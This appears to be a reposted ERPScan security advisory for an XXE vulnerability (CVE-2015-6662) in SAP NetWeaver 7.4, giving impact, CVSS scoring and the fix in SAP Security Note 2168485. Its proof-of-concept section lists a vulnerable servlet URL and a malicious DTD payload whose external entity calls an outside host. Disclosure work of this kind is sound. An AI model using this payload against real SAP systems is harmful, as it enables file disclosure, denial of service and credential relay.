SAP NetWeaver 7.4 XXE Injection Vulnerability

Application:                SAP NetWeaver
Versions Affected: SAP NetWeaver 7.4, probably others
Vendor URL: http://SAP.com
Bugs: XML External Entity
Send:                           16.04.2015
Reported: 16.04.2015
Vendor response: 16.04.2015
Date of Public Advisory: 11.08.2015
Reference: SAP Security Note 2168485
Author:        Roman Bezhan (ERPScan)



Description


1. ADVISORY INFORMATION

Title: SAP NetWeaver 7.4
Advisory ID: [ERPSCAN-15-018]
Risk: Hight
Advisory URL: http://erpscan.com/advisories/erpscan-15-018-sap-netweaver-7-4-xxe/
Date published: 11.08.2015
Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: XML External Entity [CWE-611]
Impact: information disclosure, denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-6662
CVSS Information
CVSS Base Score:  4.9 / 10
CVSS Base Vector:
AV : Access Vector (Related exploit range) Network (N)
AC : Access Complexity (Required attack complexity) Medium (M)
Au : Authentication (Level of authentication needed to exploit) Single (S)
C : Impact to Confidentiality Partial (P)
I  : Impact to Integrity None (N)
A : Impact to Availability Partial (P)



3. VULNERABILITY DESCRIPTION
1) An attacker can read an arbitrary file on the server by sending a
correct XML request with a crafted DTD to read the reply from the
service.
2) An attacker can perform a DoS attack (for example, an XML Entity
expansion attack).
3) An SMB Relay attack is a type of Man-in-the-Middle attack where an
attacker asks a victim to authenticate into a machine controlled by
the attacker, then relays the credentials to the target. The attacker
forwards the authentication information both ways and gets access.


4. VULNERABLE PACKAGES
SAP NetWeaver 7.4
Other versions are probably affected too, but they were not checked.

5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security note 2168485


6. AUTHOR
Roman Bezhan (ERPScan)


7. TECHNICAL DESCRIPTION
The vulnerability affects the functionality used by an administrator
to import applications.
An attacker can replace ApplicationDefinition.xml file with a
malicious XML code.


PoC

Vulnerable URL
http://IP:50000/irj/servlet/prt/portal/prteventname/upload/prtroot/com.sap.portal.landscape.access.LSXMLParse

Malicious file

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://IP:PORT/">
%remote;]>
<root/>




8. REPORT TIMELINE
Send:                                   16.04.2015
Reported: 16.04.2015
Vendor response: 16.04.2015
Date of Public Advisory: 11.08.2015

#  0day.today [2018-02-17]  #